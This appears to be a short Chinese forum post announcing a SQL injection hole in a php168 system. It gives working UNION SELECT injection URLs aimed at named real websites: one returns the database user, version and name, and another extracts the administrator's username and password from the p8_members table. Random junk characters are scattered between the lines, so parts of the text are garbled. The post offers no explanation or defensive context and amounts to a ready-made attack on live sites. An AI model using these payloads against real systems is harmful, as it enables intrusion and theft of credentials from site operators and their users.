php168某系统注入漏洞

admin

http://v7.php168.com/zhidao/user.php?j=question&u=-1+union+select+1,2,3,concat(user(),0x3a,version(),0x3a,database()),5,6,7,8--
4 W0 z* R$ b1 t7 x* ]' g                                                         
" K) |# m7 w" P/ H* {                                       
2 K8 D/ p) e' R0 D9 I
http://www.china-highway.com/zhidao/user.php?%00&j=question&u=-1+union+select+1,2,3,concat(0x3a,username,0x3a,password),5,6,7,8+from+p8_members+where+uid=1--
; e% f/ T) @& Q- g* e; M3 r& R& B, z                                                     
! Q5 Y: i) z: N& Z+ V' c8 O4 e                                                                  
+ t* Z, q% l7 G                                                        
5 m9 I1 G3 C& }  A2 Z( [  E# Ahttp://v7.php168.com/zhidao/user ... u=-1+union+select+1,2,3,concat(user(),0x3a,version(),0x3a,database()),5,6,7,8--

) R9 u4 L  o+ `2 H+ n0 M" j8 P& p

                                                            
+ S% X* G1 x+ L2 w
5 y( d- p: N% T" Uhttp://www.china-highway.com/zhi ... u=-1+union+select+1,2,3,concat(0x3a,username,0x3a,password),5,6,7,8+from+p8_members+where+uid=1--

. L6 c1 t9 }( P( i

8 G$ R0 t/ ]1 K4 j9 ?" O% ?# I! J. x                                                                    
7 K6 R7 O" R) B* i0 F